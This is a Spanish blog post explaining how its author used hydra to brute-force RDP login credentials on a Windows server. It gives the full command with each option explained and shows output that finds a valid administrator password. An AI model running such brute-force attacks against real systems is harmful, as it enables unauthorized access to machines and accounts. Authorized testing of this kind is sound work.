miércoles, 20 de junio de 2018

Averiguar password de un RDP por fuerza bruta



Cómo realizar un ataque de fuerza bruta desde Linux contra un servidor Windows con RDP (Remote Desktop Protocol / escritorio remoto) activo para averiguar el password de un usuario.



Hoy he tenido que conectarme a una máquina Windows por escritorio remoto para reiniciar un servicio web de un IIS. Al conectarme por escritorio remoto a esa máquina, me he encontrado con que los passwords típicos usados en máquinas similares no funcionaban en esta (en un primer intento).

Para no perder tiempo usando un usuario, probando passwords, cambiando a otro usuario, probando los mismos passwords, cambiando a otro usuario, y así, he decidido probar a realizar un ataque por fuerza bruta hacia ese servidor mediante el programa hydra para averiguar el password correcto de forma automatizada. Para ello, he instalado hydra en un Linux y lo he ejecutado así:

HOST# hydra -t 1 -V -f -L usuarios.txt -P passwords.txt rdp://192.168.1.1

-t 1 – número de tareas en paralelo. Por defecto 16.
-V – verbose, muestra usuario y contraseña usados en cada intento.
-f – finalizar proceso al encontrar el primer usuario y password válidos.
-L usuarios.txt – archivo que contiene los nombres de usuario a probar. Un nombre por línea.
-P passwords.txt – archivo que contiene los passwords a probar. Un password por línea.
rdp:// - le decimos que vamos a atacar un RDP.
192.168.1.1 – IP del objetivo.

NOTA: para usar otro puerto que no sea el puerto por defecto de RDP (3389), podemos usar la opción -s y especificar a continuación el número de puerto donde se ejecuta RDP en el objetivo.

Una vez lanzado, toca esperar a que el programa haga su faena...

HOST# hydra -t 1 -V -f -L usuarios.txt -P passwords.txt rdp://192.168.1.1 Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2018-06-20 13:22:43 [DATA] max 1 task per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task [DATA] attacking service rdp on port 3389 [ATTEMPT] target 192.168.1.1 - login "administrador" - pass "passw1" - 1 of 6 [child 0] (0/0) [ATTEMPT] target 192.168.1.1 - login "administrador" - pass "passw2" - 2 of 6 [child 0] (0/0) [ATTEMPT] target 192.168.1.1 - login "administrador" - pass "passw3" - 3 of 6 [child 0] (0/0) [ATTEMPT] target 192.168.1.1 - login "administrator" - pass "passw1" - 4 of 6 [child 0] (0/0) [ATTEMPT] target 192.168.1.1 - login "administrator" - pass "passw2" - 5 of 6 [child 0] (0/0) [3389][rdp] host: 192.168.1.1  login: administrator   password: passw3 [STATUS] attack finished for 192.168.1.1 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2018-06-20 13:22:50

Como vemos, el programa ha probado primero con el usuario "administrador" y todos los password del archivo passwords.txt. Luego ha pasado al usuario "administrator" (en inglés) y ha dado finalmente con el usuario y contraseña correctos en unos pocos segundos.


Conclusión



Para que este procedimiento funcione, debemos tener una lista de usuarios válidos y una lista de posibles passwords válidos. Si la lista de passwords no contiene el password correcto o los usuarios con que probamos no existen en el sistema objetivo, obviamente nunca encontraremos las credenciales correctas usando este método. De otro modo, es una forma efectiva de ahorrarnos teclear en vano.

0

0 comentarios:

Publicar un comentario